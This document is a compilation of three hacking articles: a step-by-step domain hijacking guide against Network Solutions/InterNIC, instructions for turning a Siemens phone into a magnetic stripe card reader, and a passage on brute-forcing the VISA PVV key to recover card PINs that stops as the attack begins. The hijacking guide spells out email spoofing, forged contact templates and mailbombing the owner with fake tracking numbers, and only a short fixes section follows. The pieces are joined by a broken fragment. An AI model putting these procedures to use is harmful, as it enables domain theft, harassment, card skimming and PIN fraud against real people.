Domain Hijacking: A step-by-step guide

Summary:

The sole purpose of the information contained in this advisory is to point out the flaws in InterNIC's domain name handling system and is intended for educational use only. Since this is public knowledge, it should be also in everyone's reach.
The technique described below involves an easy to follow procedure of stealing .com/.net/.org/.gov/.mil domain names.
This vulnerability has been publicly known for quite a while, and there are ways to prevent it (See below).
The procedure below enables an attacker to take over a domain name, enabling him or her to make the arbitrary web address (www.example.com) point to any desired web page on the Internet. This method of domain hijacking is constantly being used to hijack domain names, and to deface web sites.


-----------------------------------------------------------------------------------------------------------------------------------

Required ingredients:

* Anonymous remailer or mail bomber that can spoof email addresses.
* Social Engineering skills for timing the emails.
* A fake email address at hotmail.com or any other free service.

Exploit:

As an example for this advisory, we will take the domain name example.org. Go to http://www.networksolutions.com and click on the link that says 'Who Is.' Now enter the domain name (example.org in this case) in the search field and click on the 'Search' button. This would show you the WhoIs information, which will be similar to the one shown below:

Registrant:
Example (ex24-DOM)
Address details

Domain Name: EXAMPLE.ORG

Administrative Contact, Technical Contact, Zone Contact, Billing Contact:
DOMAIN, ADMIN (ADM001) ADMINEMAIL@EXAMPLE.COM


Record last updated on 00-Jan-2000.
Record created on 00-Jan-2000.
Database last updated on 3-Feb-2000 14:29:53 EST.

Domain servers in listed order:

NS1.EXAMPLE.COM 1.2.3.4
NS2.EXAMPLE.NET 1.2.3.5


Now you have two choices:

1) Either you could take full control of the domain by changing the Administrator's handle information.
Or
2) You could simply point the domain to another host and let it recover in time by itself.


Initiating the First Attack:

Let us first explain the InterNIC authentication system in case most of you would be the readers who do not have their own domain names. The problem with InterNIC authentication is that they do NOT send a confirmation email if the request is sent from the same email as the person owning the contact or the domain name itself! Therefore, utilizing this flaw one could spoof anyone's email address and change any domain name's information.
Although, a confirmation is required from the person to whom the domain is about to be transferred; and that shouldn't be too hard as it would your own email address.

Here's a step-by-step procedure:

- Go to http://www.networksolutions.com/
- Click on the link that says 'Make Changes.'
- Enter the domain name example.org
- You should be presented with 2 blue buttons
- Click on the one that says *Expert*
- Next screen would have a heading 'Select the form that meets your needs'
- Click on the link that say 'Contact Form'
- Next you should see a form with 2 fields.
- In the first field enter the admin's handle (example.org admin is ADM001)
- In the next field enter his/her email address (in this case it's ADMINEMAIL@EXAMPLE.COM)
- Change the option to 'Modify.'
- Now 'Proceed to Contact Information.'
- Select the MAIL-FROM option and click the 'Go on to Contact Data Information.'
- Now you should see all the information about the admin contact of domain
name!
- In the E-mail address field change the email to your own fake email. (in this case it's evil@domain.com)
- Now 'Proceed to Set Authorization Scheme.'
- Again choose MAIL-FROM and enter the email address of the admin (ADMINEMAIL@EXAMPLE.COM)
- Leave the bottom option to 'No' and 'Generate Contact Form.'
- Now you should see a template with all the information. Similar to this:

******** Please DO NOT REMOVE Version Number ********

Contact Version Number: 1.0

******** Please see attached detailed instructions ********

Authorization
0a. (N)ew (M)odify (D)elete.: Modify
0b. Auth Scheme.............: MAIL-FROM
0c. Auth Info...............:

Contact Information
1a. NIC Handle..............: ADM001
1b. (I)ndividual (R)ole.....: Individual
1c. Name....................: DOMAIN, ADMIN
1d. Organization Name.......: EXAMPLE
1e. Street Address..........:
1f. City....................:
1g. State...................:
1h. Postal Code.............:
1i. Country.................:
1j. Phone Number............:
1k. Fax Number..............:
1l. E-Mailbox...............: evil@domain.com

Notify Information
2a. Notify Updates..........: AFTER-UPDATE
2b. Notify Use..............: AFTER-USE

Authentication
3a. Auth Scheme.............: MAIL-FROM
3b. Auth Info...............: ADMINEMAIL@EXAMPLE.COM
3c. Public (Y/N)............: NO


NOTE: Do NOT press the button at the bottom that says 'Mail this contact form to me!'

Copy and paste this message into your anonymous remailer or mailbomber and you are ready to go; but WAIT! It's not that easy, now comes the HARD part! When you mail this message to hostmaster@networksolutions.com a message similar to the following would be sent to the admin email address:


Subject: [NIC-000128.4r50] Your Mail
______________________________________________________________
This is an automatic reply to acknowledge that your message has been received by hostmaster@networksolutions.com. This acknowledgement is "NOT" a confirmation that your request has been processed. You will be notified when it has been completed.

If you should have need to correspond with us regarding this request, please include the tracking number [NIC-000128.4r50] in the subject. The easiest way to do this is simply to reply to this message.

If you have not already done so, please come and visit our site via www browser or ftp and pick-up the latest domain template or review the Domain Name Registration Service Agreement at the URL's:

Domain Name Registration Service Agreement
http://www.networksolutions.com/legal/service-agreement.html
Domain Name Registration Template
ftp://www.networksolutions.com/templates/domain-template.txt

Regards,
Network Solutions Registration Services

***********************************************

***********************************************
IMPORTANT INFORMATION
***********************************************
On January 15, 2000, Network Solutions introduced Service Agreement, Version 6.0. All versions of the Service Agreement template will continue to be accepted and processed until January 31, 2000. On and after February 1, 2000, please use the Network Solutions Service Agreement, Version 6.0 template located at
ftp://www.networksolutions.com/templates/domain-template.txt
for all template requests.

The terms and conditions of the Service Agreement are available on our Web site at: http://www.networksolutions.com/legal/service-agreement.html.
************************************************

The zone files, which make the Internet work, are normally updated twice daily, 7 days a week at 5:00 AM and 5:00 PM U.S. Eastern Standard Time. Requests that are completed before these times will be included in that 12-hour zone file update and will normally begin to take effect within 5-6 hours.

Should you wish to modify or delete an existing domain name registration, you can do so online, using our Service Agreement. You can change the registrant's address, replace a contact/agent with a different contact/agent, or change primary and/or secondary name server information.

To update information about an existing contact, such as postal address, e-mail address or telephone number, complete and submit the Contact Form to hostmaster@internic.net. This form is available on our Web site at www.networksolutions.com

To register or update information about a name server, complete and submit the Host Form to hostmaster@internic.net. This form is also available on our Web site.

Network Solutions Registration Services
e-mail: help@networksolutions.com


You should now be thinking that this message could get you in trouble but there is a way of getting rid of this trouble. Here you'll use your mailbomber to mailbomb the guy with 20-30 similar messages if you want your attack to be successful. The person would see 35 messages from the same address and therefore would delete all of them and you'd probably be safe. If he 'would' email someone then he would probably reply to the wrong tracking number. In the above case, the tracking number is [NIC-000128.4r50]. OK, here another hard part. You have to open your notepad and generate similar numbers actually come up with them.
You should NEVER mailbomb the person with the same tracking number. What we mean
is that you should never send more than one emails to him from [NIC-000128.4r50] in the next email, change the [NIC-000128.4r50] to [NIC-000127.5089] or something different. Here is a list of some numbers that we generated just to give you a good idea of how the scheme works.

[NIC-000127.5089]
[NIC-000128.4rg7]
[NIC-000128.523f]
[NIC-000127.53d0]
[NIC-000129.r609]
[NIC-000128.3f6y]
[NIC-000128.5d8t]
[NIC-000127.r509]
[NIC-000128.4r30]
[NIC-000127.d307]

Remember to change the number at both places. In the subject as well as the email body!

In the case of example.org you will send the email messages to ADMINEMAIL@EXAMPLE.COM from hostmaster@internic.net. The message subject and body are already described above.

Stop after you have mailed him/her 10-15 messages! Now it's time to email hostmaster@networksolutions.com with our fake email as ADMINEMAIL@EXAMPLE.COM So again, in this case the message will be sent to hostmaster@networksolutions.com from ADMINEMAIL@EXAMPLE.COM with the following template that we created above:

******** Please DO NOT REMOVE Version Number ********

Contact Version Number: 1.0

******** Please see attached detailed instructions ********

Authorization
0a. (N)ew (M)odify (D)elete.: Modify
0b. Auth Scheme.............: MAIL-FROM
0c. Auth Info...............:

Contact Information
1a. NIC Handle..............: ADM001
1b. (I)ndividual (R)ole.....: Individual
1c. Name....................: DOMAIN, ADMIN
1d. Organization Name.......: EXAMPLE
1e. Street Address..........:
1f. City....................:
1g. State...................:
1h. Postal Code.............:
1i. Country.................:
1j. Phone Number............:
1k. Fax Number..............:
1l. E-Mailbox...............: evil@domain.com

Notify Information
2a. Notify Updates..........: AFTER-UPDATE
2b. Notify Use..............: AFTER-USE

Authentication
3a. Auth Scheme.............: MAIL-FROM
3b. Auth Info...............: ADMINEMAIL@EXAMPLE.COM
3c. Public (Y/N)............: NO


NOTE: Do NOT put anything in the Subject!

Just send one email! Do NOT bomb hostmaster@networksolutions.com with more than one email. That's pretty much it. Now continue to bomb ADMINEMAIL@EXAMPLE.COM, changing the tracking number every time until your 30-35 tracking numbers are used up!

Now all you have to do is wait. After 24 hours you could go and change the domain information and no one would be there to stop you because now you are the admin of the domain name!

NOTE: This attack will only work on domains that have an admin contact different from their technical contact!


Initiating the Second Attack:

This attack will be successful even if the technical and admin contact are the same.
The procedure is basically the same apart from the fact that this time:
Go to http://www.networksolutions.com/
- Click on the link that says 'Make Changes.'
- Enter the domain name example.org
- You should be presented with 2 blue buttons
- Click on the one that says *Expert*
- Next screen would have a heading 'Select the form that meets your needs'
- Click on the link that say 'Service Agreement.'
- Now when it asks for email address, enter your own.
- Now you should see many fields, don't panic!
- Go to the technical contact and change the handle to freeservers, hypermart e.t.c.
- Now come to 'Nameserver Information.'
- Change the nameservers to hypermart or freeserver nameservers.
- If there's anything in the 'Optional Information' after that then simply delete them.
- Click on the button 'Submit this form for processing.'
- You are done, the form will be emailed to your email address.
- When the form arrives in your email, then simply take this part:

**** PLEASE DO NOT REMOVE Version Number or any of the information below when submitting this template to hostmaster@networksolutions.com. *****

Domain Version Number: 5.0

******** Email completed agreement to hostmaster@networksolutions.com ********


AGREEMENT TO BE BOUND. By applying for a Network Solutions' service(s) through our online application process or by applying for and registering a domain name as part of our e-mail template application process or by using the service(s) provided by Network Solutions under the Service Agreement, Version 5.0, you acknowledge that you have read and agree to be bound by all terms and conditions of this Agreement and any pertinent rules or policies that are or may be published by Network Solutions.

Please find the Network Solutions Service Agreement, Version 5.0 located at the URL href="http://www.networksolutions.com/legal/service-agreement.html">
http://www.networksolutions.com/legal/service-agreement.html.


[ URL ftp://www.networksolutions.com ] [11/99]

Authorization
0a. (N)ew (M)odify (D)elete.........: M Name Registration
0b. Auth Scheme.....................: MAIL-FROM
0c. Auth Info.......................:

1. Comments........................:

2. Complete Domain Name............: example.org

Organization Using Domain Name
3a. Organization Name................: EXAMPLE
3b. Street Address..................:
3c. City............................:
3d. State...........................:
3e. Postal Code.....................:
3f. Country.........................:

Administrative Contact
4a. NIC Handle (if known)...........: ADM001
4b. (I)ndividual (R)ole?............: Individual
4c. Name (Last, First)..............:
4d. Organization Name...............:
4e. Street Address..................:
4f. City............................:
4g. State...........................:
4h. Postal Code.....................:
4i. Country.........................:
4j. Phone Number....................:
4k. Fax Number......................:
4l. E-Mailbox.......................:

Technical Contact
5a. NIC Handle (if known)...........: BDM002
5b. (I)ndividual (R)ole?............: Individual
5c. Name(Last, First)...............:
5d. Organization Name...............:
5e. Street Address..................:
5f. City............................:
5g. State...........................:
5h. Postal Code.....................:
5i. Country.........................:
5j. Phone Number....................:
5k. Fax Number......................:
5l. E-Mailbox.......................:

Billing Contact
6a. NIC Handle (if known)...........: ADM001
6b. (I)ndividual (R)ole?............: Individual
6c. Name (Last, First)..............:
6d. Organization Name...............:
6e. Street Address..................:
6f. City............................:
6g. State...........................:
6h. Postal Code.....................:
6i. Country.........................:
6j. Phone Number....................:
6k. Fax Number......................:
6l. E-Mailbox.......................:

Prime Name Server
7a. Primary Server Hostname.........: NS1.EXAMPLE.COM
7b. Primary Server Netaddress.......: 1.2.3.4

Secondary Name Server(s)
8a. Secondary Server Hostname.......: NS2.EXAMPLE.NET
8b. Secondary Server Netaddress.....: 1.2.3.5


END OF AGREEMENT


For instructions, please refer to:
"http://www.networksolutions.com/help/inst-mod.html"


- Now launch your anonymous remailer or mailbomber.
- From: the domain admin (ADMINEMAIL@EXAMPLE.COM in this case).
- To: hostmaster@networksolutions.com
- Subject: (do not enter any subject, leave the field blank!)
- Body: the template you created above.
- You are ready to go but before you send this email to InterNIC, remember to bomb ADMINEMAIL@EXAMPLE.COM with similar emails but different tracking numbers as we did in the first procedure.
- After sending 10-20 emails, send the above template to InterNIC.
- Continue bombing your 40 messages. Remember to generate 40-50 tracking numbers.
- This is basically it.
- The domain would be transferred to freeservers or hypermart and then you could simply activate it from there on your own email address. Remember to use a fake email.

Nameservers and Handles:
------------------------
Freeservers Technical Handle: FS4394
Primary Nameserver: NS3.FREESERVERS.COM
Primary Nameserver IP Address: 209.210.67.153
Secondary Nameserver: NS4.FREESERVERS.COM
Secondary Nameserver IP Address: 209.210.67.154

Hypermart Technical Handle: DA3706-ORG
Primary Nameserver: NS1.HYPERMART.NET
Primary Nameserver IP Address: 206.253.222.65
Secondary Nameserver: NS2.HYPERMART.NET
Secondary Nameserver IP Address: 206.253.222.66


-----------------------------------------------------------------------------------------------------------------------------------

Possible Fixes:

Enable the CRYPT-FW password mechanism. This should prevent anyone without this password from changing your domain information (see the Internic contact form for more information)



To minimize the risk of a spoofing attack, every organization or individual responsible for a domain should consult the developer of the domain's name server as to whether the server is secure against DNS spoofing.


Email can be forged, as mentioned earlier. If you accept domain changes via email, require an SSL-encrypted web page or PGP signed and encrypted email for all changes to domain information.


One of the best solutions so far to guard against DNS hijacking has appeared in the form of DNS Security (DNSSEC). DNSSEC supplies cryptographic verification information along with DNS messages. That means that public key cryptography is combined with digital signatures to provide a means for a requester of domain information to authenticate itself. DNSSEC ensures that a request can be traced back to a trusted source, either directly or via a chain of trust linking the source of the information to the top of the DNS hierarchy.
DNSSEC adds two new record types for authentication in DNS: the KEY record and the SIG record. Like many encryption schemes, the KEY record stores the public key for a host or administrative zone. The SIG record stores a digital signature associated with each set of records. In a signed zone, each record set includes a SIG record. The SIG record contains the signature of the set as generated by the above zone KEY. Briefly, a DNSSEC-aware resolver can determine whether a zone is signed, and if the resolver sees an unsigned recordset when it expects a signed one it can identify that there's an error.



Use strong passwords and SSL systems for registering and authorizing changes to your domain names, and use registrars that assist you with setting up these security methods. In addition, don't rely on faxed documents or phone calls, as malicious attackers can easily forge them.




exploits and we will be releasing them soon, so keep your eyes open for them. We recommend

that if you are serious about learing ethnical hacking that you download our Unix Bible.

Turning your mobile into a magnetic stripe reader

Exploring my new Siemens MC 60 mobile I discovered an interesting feature. It has the ability to record small pieces of sound with its integrated microphone and store them as WAV files, so that you can use them later as personalized ring tones, etc. This suggests that the MC60 has a builtin ADC just the same as computer soundcards have. In fact every mobile must have an ADC to send voice because transmission is digital, not like in traditional analog cable telephones, but simply the ADC is not accessible to users, it is transparently used during communication.

The recording feature made me think that I might use the mobile as a magnetic stripe reader, just like I did with computers with soundcard. After some tests I had successful results, so here is the process in case you are interested in doing the same. I only did it with the Siemens MC60, but there are a lot of chances that it can be repeated with other mobiles of similar features.In order to use your mobile as a magnetic stripe reader it must comply with certain requisites, but even those might not be sufficient, only experience will tell you. First, the mobile must have the capability to record sound as an option through menu, and store it in a file within the mobile filesystem. Second, it must be able to transfer those files to a computer, and third, it must have a handsfree kit input, that is, an external microphone input. The later requisite is not strictly needed because you might open the phone to access the microphone and create your own mic input. I know you must be dare to do that :-) but surely it won't be needed because all mobiles I've seen have handsfree kit input. The second requisite won't also be needed if the mobile is capable of running software to decode tracks within the mobile itself. Most often this is achieved with a Java Virtual Machine, that is, with Java enabled mobiles, but those kind of sophisticated devices always have the feature of computer connectivity to transfer games, melodies, etc., so finally the second requisite will be always present in practice.


The reason for the first requisite is obvious, however even without it you might try to modify your mobile hardware to add such a feature, but that process is beyond the scope of this article. The second requisite is needed in order to be able to decode the information of the magnetic track with a computer. If the mobile is Java enabled or has the ability to run software you can write, then sound files might be decoded within the mobile itself. More on that later. The third requisite must be present to be able to connect a magnetic head which will read the magnetic tracks.


Hardware

No much hardware is needed apart from the mobile itself, a computer to decode tracks and the cable to connect both (except if you can establish an IrDA or Bluetooth link). You just need a magnetic head and a connector for the mobile, so that the magnetic head connects with the microphone input of the mobile. Some mechanics to swipe cards will also be helpful. See the page of my soundcard reader for the specifications of the magnetic head and some ideas for the mechanics of the reader.


You need a mobile connector and the mobile pin out to know how to connect the magnetic head. See the page of my mobile interface for pinouts of common mobiles and ideas about how to get a connector. There you can see how to make an interface to connect the mobile with a computer in case you don't have one already.


Once you have the mobile connector and the magnetic head you have to wire them in the following way (exact pinout only valid for the Siemens MC60 and other Siemens mobiles with the same pinout). Both terminals of the magnetic head have to be connected to MC60 pins 11 and 12 respectively. If one of the pins of the magnetic head is connected to its metal case, then connect this pin to pin 11 of the MC60 (MIC_GND) and the other head pin to pin 12 (MIC) of the MC60. You must also shortcircuit MC60 pin 2 (GND) with pin 5 (Z_DATA), and pins 3 (TX) and 4 (RX) with pin 6 (RTS). These two shortcircuits are required to activate automatically the handsfree profile of the mobile when the connector is inserted. Otherwise you won't record the magnetic stripe data, but the ambient sound with the normal mobile microphone.


Capturing data

When you want to read a magnetic stripe card, you just have to navigate through your mobile menu and select the recording option. For example, in the Siemens MC60 this is achieved by selecting the "New ring tone" option in the "Extras" menu of the main menu. When the recording is in progress, swipe the card using the method chosen by you, then stop it and save data in a file. Try to minimize the time between the beginning of the recording and the start of the swipe, and the time between stopping the recording and the end of the swipe, so that recording time is minimum. This will ensure that sound files are as small as possible and you will be able to store more data in the mobile filesystem. For example, with some practice you will be able to record a swipe in around three seconds and even less. This means a file of less that 12 kB in the MC60 WAV format. This mobile have a filesystem capacity of more than 1.8 MB, and nearly all of it can be used to store records by deleting all unused images, melodies, games and applications, this means you can reach an autonomy of more that 150 swipes; but having into account that you can transfer data through SMS or directly to a laptop using a data cable, the autonomy is virtually infinite.


Software

Once you have recorded the magnetic stripe data in a sound file, you need to decode it. To do that, transfer the file to a PC, there you can use the program I wrote to decode magnetic stripes using the soundcard of a PC. See the reader page to download it and for instructions to use it. Unfortunately WAV files recorded by the MC60 have not the right format, they are IMA ADPCM WAV files but the header is not properly written. There are a couple of fields left empty (values set to zero), but they are needed to be able to decode the sound using the sox utility, which is required by my program. I did a quick & dirty C-shell script to fix the MC60 WAV files (set execution bit after download). It is not the cleanest method and it only works for small files (less than 65 kB, about 15 seconds of sound, which is far more than required to swipe a card), but it does the job.


Summary

Here are the steps to read a magnetic stripe with your mobile:


Check that the mobile is able to record sound, to transfer files to a PC and that it has a external microphone input.
Connect a magnetic head to the mic input of the mobile.
Select record option in menu and swipe a card.
Transfer the sound file to a PC, surely Windows will be required.
Boot the PC in Linux and fix the WAV file, if needed, using my script.
Compile my reader program and use it to decode the sound track.
Here is a sound track I recorded using my MC60 so that you can use it to test the programs and see that you are doing everything well. First you have to fix it using my script:
Linux prompt>./fixmc60wav.csh soundtrack.wav

and then decode it using my program with a command line like this (output also included):

Linux prompt>sox fixed_soundtrack.wav -t dat - | ./soundtrack -t 1 -c 55 -m z

Bad or no peak duration parameter, using default: 1
Bad or no stop duration parameter, using default: 500
Reading track 1
Bad or no threshold level parameter, using data...
Noise max./mean/rms amplitude: 0.002/-0.000/0.000
Threshold: 0.003
Recognition error of bit 697, stopping.

Swipe time: 0.553 s
Data max./mean/rms amplitude: 0.111/-0.000/0.022
Bits: 696, individual duration: 0.795 ms
Start sentinel found
%RUEDA, J?
End sentinel found
LRC OK.



Improvements

I know the process described above is somewhat complicated and tedious, but what did you expect for free? :-) It is very unpleasant to record stripes with the mobile and later to have to transfer them to a PC with Windows and then reboot in Linux (or transfer to a second PC with Linux) to decode data. Then you can realize that some tracks were not correctly recorded and that you have to swipe them again, but you may no longer have the chance; so I advise to record more than one swipe per track.


To overcome these caveats I considered the possibility of writing a program to record and decode the tracks, all in one, within the mobile itself, taking advantage of the MC60 Java feature. You can download for free the Siemens Mobility Toolkit (free registration is required) and the Java Software Development Kit for Windows required by the Siemens kit. When I had a look I realized that the Siemens Java API is rather primitive and limited. There is no API to capture sound from the microphone, so you must use the "New ring tone" capture option anyway. Then you should execute the application that loads and decodes the sound file. But even that is difficult because the MC60 uses the MIDP 1.0 API which lacks the float type!


Even given these restrictions, maybe in the near future I'll try to develop a program to decode tracks within the mobile, so that you can avoid the transfer to a PC and see in real time if the track was successfully read (this have the additional advantage of having to store less data, so that the autonomy is enlarged considerably), but you'll have to wait, so check this page every now and then (not too often, I'm a very busy man! ;-).


Yet there is another possibility, though even more complicated. You can attach an standard serial port magnetic stripe reader (or a non standard reader)to the mobile serial port (interface adapter will be required) and read data with a custom application. However I find this option less useful due to power considerations. If you want to avoid an external power supply (surely desired because you are looking for something portable), no much devices are available which might be powered from own (or mobile itself) battery, nevertheless a very small power consumption device might be designed for that purpose. It's up to you!

Breaking VISA PIN

Foreword

Have you ever wonder what would happen if you loose your credit or debit card and someone finds it. Would this person be able to withdraw cash from an ATM guessing, somehow, your PIN? Moreover, if you were who finds someone's card would you try to guess the PIN and take the chance to get some easy money? Of course the answer to both questions should be "no". This work does not deal with the second question, it is a matter of personal ethics. Herewith I try to answer the first question.


All the information used for this work is public and can be freely found in Internet. The rest is a matter of mathematics and programming, thus we can learn something and have some fun. I reveal no secrets. Furthermore, the aim (and final conclusion) of this work is to demonstrate that PIN algorithms are still strong enough to provide sufficient security. We all know technology is not the weak point.


This work analyzes one of the most common PIN algorithms, VISA PVV, used by many ATM cards (credit and debit cards) and tries to find out how resistant is to PIN guessing attacks. By "guessing" I do not mean choosing a random PIN and trying it in an ATM. It is well known that generally we are given three consecutive trials to enter the right PIN, if we fail ATM keeps the card. As VISA PIN is four digit long it's easy to deduce that the chance for a random PIN guessing is 3/10000 = 0.0003, it seems low enough to be safe; it means you need to loose your card more than three thousand times (or loosing more than three thousand cards at the same time :) until there is a reasonable chance of loosing money.


What I really meant by "guessing" was breaking the PIN algorithm so that given any card you can immediately know the associated PIN. Therefore this document studies that possibility, analyzing the algorithm and proposing a method for the attack. Finally we give a tool which implements the attack and present results about the estimated chance to break the system. Note that as long as other banking security related algorithms (other PIN formats such as IBM PIN or card validation signatures such as CVV or CVC) are similar to VISA PIN, the same analysis can be done yielding nearly the same results and conclusions.

VISA PVV algorithm

One of the most common PIN algorithms is the VISA PIN Verification Value (PVV). The customer is given a PIN and a magnetic stripe card. Encoded in the magnetic stripe is a four digit number, called PVV. This number is a cryptographic signature of the PIN and other data related to the card. When a user enters his/her PIN the ATM reads the magnetic stripe, encrypts and sends all this information to a central computer. There a trial PVV is computed using the customer entered PIN and the card information with a cryptographic algorithm. The trial PVV is compared with the PVV stored in the card, if they match the central computer returns to the ATM authorization for the transaction. See in more detail.


The description of the PVV algorithm can be found in two documents linked in the previous page. In summary it consists in the encryption of a 8 byte (64 bit) string of data, called Transformed Security Parameter (TSP), with DES algorithm (DEA) in Electronic Code Book mode (ECB) using a secret 64 bit key. The PVV is derived from the output of the encryption process, which is a 8 byte string. The four digits of the PVV (from left to right) correspond to the first four decimal digits (from left to right) of the output from DES when considered as a 16 hexadecimal character (16 x 4 bit = 64 bit) string. If there are no four decimal digits among the 16 hexadecimal characters then the PVV is completed taken (from left to right) non decimal characters and decimalizing them by using the conversion A->0, B->1, C->2, D->3, E->4, F->5. Here is an example:


Output from DES: 0FAB9CDEFFE7DCBA


PVV: 0975


The strategy of avoiding decimalization by skipping characters until four decimal digits are found (which happens to be nearly all the times as we will see below) is very clever because it avoids an important bias in the distribution of digits which has been proven to be fatal for other systems, although the impact on this system would be much lower. See also a related problem not applying to VISA PVV.


The TSP, seen as a 16 hexadecimal character (64 bit) string, is formed (from left to right) with the 11 rightmost digits of the PAN (card number) excluding the last digit (check digit), one digit from 1 to 6 which selects the secret encrypting key and finally the four digits of the PIN. Here is an example:


PAN: 1234 5678 9012 3445
Key selector: 1
PIN: 2468


TSP: 5678901234412468


Obviously the problem of breaking VISA PIN consists in finding the secret encrypting key for DES. The method for that is to do a brute force search of the key space. Note that this is not the only method, one could try to find a weakness in DEA, many tried, but this old standard is still in wide use (now been replaced by AES and RSA, though). This demonstrates it is robust enough so that brute force is the only viable method (there are some better attacks but not practical in our case, for a summary see LASEC memo and for the dirty details see Biham & Shamir 1990, Biham & Shamir 1991, Matsui 1993, Biham & Biryukov 1994 and Heys 2001).


The key selector digit was very likely introduced to cover the possibility of a key compromise. In that case they just have to issue new cards using another key selector. Older cards can be substituted with new ones or simply the ATM can transparently write a new PVV (corresponding to the new key and keeping the same PIN) next time the customer uses his/her card. For the shake of security all users should be asked to change their PINs, however it would be embarrassing for the bank to explain the reason, so very likely they would not make such request.


Preparing the attack

A brute force attack consists in encrypting a TSP with known PVV using all possible encrypting keys and compare each obtained PVV with the known PVV. When a match is found we have a candidate key. But how many keys we have to try? As we said above the key is 64 bit long, this would mean we have to try 2^64 keys. However this is not true. Actually only 56 bits are effective in DES keys because one bit (the least significant) out of each octet was historically reserved as a checksum for the others; in practice those 8 bits (one for each of the 8 octets) are ignored.


Therefore the DES key space consists of 2^56 keys. If we try all these keys will we find one and only one match, corresponding to the bank secret key? Certainly not. We will obtain many matching keys. This is because the PVV is only a small part (one fourth) of the DES output. Furthermore the PVV is degenerated because some of the digits (those between 0 and 5 after the last, seen from left to right, digit between 6 and 9) may come from a decimal digit or from a decimalized hexadecimal digit of the DES output. Thus many keys will produce a DES output which yields to the same matching PVV.


Then what can we do to find the real key among those other false positive keys? Simply we have to encrypt a second different TSP, also with known PVV, but using only the candidate keys which gave a positive matching with the first TSP-PVV pair. However there is no guarantee we won't get again many false positives along with the true key. If so, we will need a third TSP-PVV pair, repeat the process and so on.


Before we start our attack we have to know how many TSP-PVV pairs we will need. For that we have to calculate the probability for a random DES output to yield a matching PVV just by chance. There are several ways to calculate this number and here I will use a simple approach easy to understand but which requires some background in mathematics of probability.


A probability can always be seen as the ratio of favorable cases to possible cases. In our problem the number of possible cases is given by the permutation of 16 elements (the 0 to F hexadecimal digits) in a group of 16 of them (the 16 hexadecimal digits of the DES output). This is given by 16^16 ~ 1.8 * 10^19 which of course coincides with 2^64 (different numbers of 64 bits). This set of numbers can be separated into five categories:


Those with at least four decimal digits (0 to 9) among the 16 hexadecimal digits (0 to F) of the DES output.

Those with exactly only three decimal digits.

Those with exactly only two decimal digits.

Those with exactly only one decimal digit.

Those with no decimal digits (all between A and F).


Let's calculate how many numbers fall in each category. If we label the 16 hexadecimal digits of the DES output as X1 to X16 then we can label the first four decimal digits of any given number of the first category as Xi, Xj, Xk and Xl. The number of different combinations with this profile is given by the product 6 i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 6 l-k-1 * 10 * 1616-l where the 6's come from the number of possibilities for an A to F digit, the 10's come from the possibilities for a 0 to 9 digit, and the 16 comes from the possibilities for a 0 to F digit. Now the total numbers in the first category is simply given by the summation of this product over i, j, k, l from 1 to 16 but with i < j < k < l. If you do some math work you will see this equals to the product of 104/6 with the summation over i from 4 to 16 of (i-1) * (i-2) * (i-3) * 6i-4 * 16 16-i ~ 1.8 * 1019.


Analogously the number of cases in the second category is given by the summation over i, j, k from 1 to 16 with i < j < k of the product 6i-1 * 10 * 6j-i-1 * 10 * 6k-j-1 * 10 * 616-k which you can work it out to be 16!/(3! * (16-13)!) * 103 * 6 13 = 16 * 15 * 14/(3 * 2) * 103 * 613 = 56 * 104 * 613 ~ 7.3 * 1015. Similarly for the third category we have the summation over i, j from 1 to 16 with i < j of 6 i-1 * 10 * 6j-i-1 * 10 * 616-j which equals to 16!/(2! * (16-14)!) * 102 * 614 = 2 * 103 * 615 ~ 9.4 * 1014. Again, for the fourth category we have the summation over i from 1 to 16 of 6i-1 * 10 * 616-i = 160 * 615 ~ 7.5 * 1013. And finally the amount of cases in the fifth category is given by the permutation of six elements (A to F digits) in a group of 16, that is, 616 ~ 2.8 * 1012.


I hope you followed the calculations up to this point, the hard part is done. Now as a proof that everything is right you can sum the number of cases in the 5 categories and see it equals the total number of possible cases we calculated before. Do the operations using 64 bit numbers or rounding (for floats) or overflow (for integers) errors won't let you get the exact result.


Up to now we have calculated the number of possible cases in each of the five categories, but we are interested in obtaining the number of favorable cases instead. It is very easy to derive the latter from the former as this is just fixing the combination of the four decimal digits (or the required hexadecimal digits if there are no four decimal digits) of the PVV instead of letting them free. In practice this means turning the 10's in the formula above into 1's and the required amount of 6's into 1's if there are no four decimal digits. That is, we have to divide the first result by 104, the second one by 103 * 6, the third one by 102 * 62 , the fourth one by 10 * 63 and the fifth one by 64 . Then the number of favorable cases in the five categories are approximately 1.8 * 1015, 1.2 * 1012, 2.6 * 1011 , 3.5 * 1010, 2.2 * 109 respectively.


Now we are able to obtain what is the probability for a DES output to match a PVV by chance. We just have to add the five numbers of favorable cases and divide it by the total number of possible cases. Doing this we obtain that the probability is very approximately 0.0001 or one out of ten thousand. Is it strange this well rounded result? Not at all, just have a look at the numbers we calculated above. The first category dominates by several orders of magnitude the number of favorable and possible cases. This is rather intuitive as it seems clear that it is very unlikely not having four decimal digits (10 chances out of 16 per digit) among 16 hexadecimal digits. We saw previously that the relationship between the number of possible and favorable cases in the first category was a division by 10^4, that's where our result p = 0.0001 comes from.


Our aim for all these calculations was to find out how many TSP-PVV pairs we need to carry a successful brute force attack. Now we are able to calculate the expected number of false positives in a first search: it will be the number of trials times the probability for a single random false positive, i.e. t * p where t = 2^56, the size of the key space. This amounts to approximately 7.2 * 10^12, a rather big number. The expected number of false positives in the second search (restricted to the positive keys found in the first search) will be (t * p) * p, for a third search will be ((t * p) * p) * p and so on. Thus for n searches the expected number of false positives will be t * p^n.


We can obtain the number of searches required to expect just one false positive by expressing the equation t * p^n = 1 and solving for n. So n equals to the logarithm in base p of 1/t, which by properties of logarithms it yields n = log(1/t)/log(p) ~ 4.2. Since we cannot do a fractional search it is convenient to round up this number. Therefore what is the expected number of false positives if we perform five searches? It is t * p^5 ~ 0.0007 or approximately 1 out of 1400. Thus using five TSP-PVV pairs is safe to obtain the true secret key with no false positives.


The attack

Once we know we need five TSP-PVV pairs, how do we get them? Of course we need at least one card with known PIN, and due to the nature of the PVV algorithm, that's the only thing we need. With other PIN systems, such as IBM, we would need five cards, however this is not necessary with VISA PVV algorithm. We just have to read the magnetic stripe and then change the PIN four times but reading the card after each change.


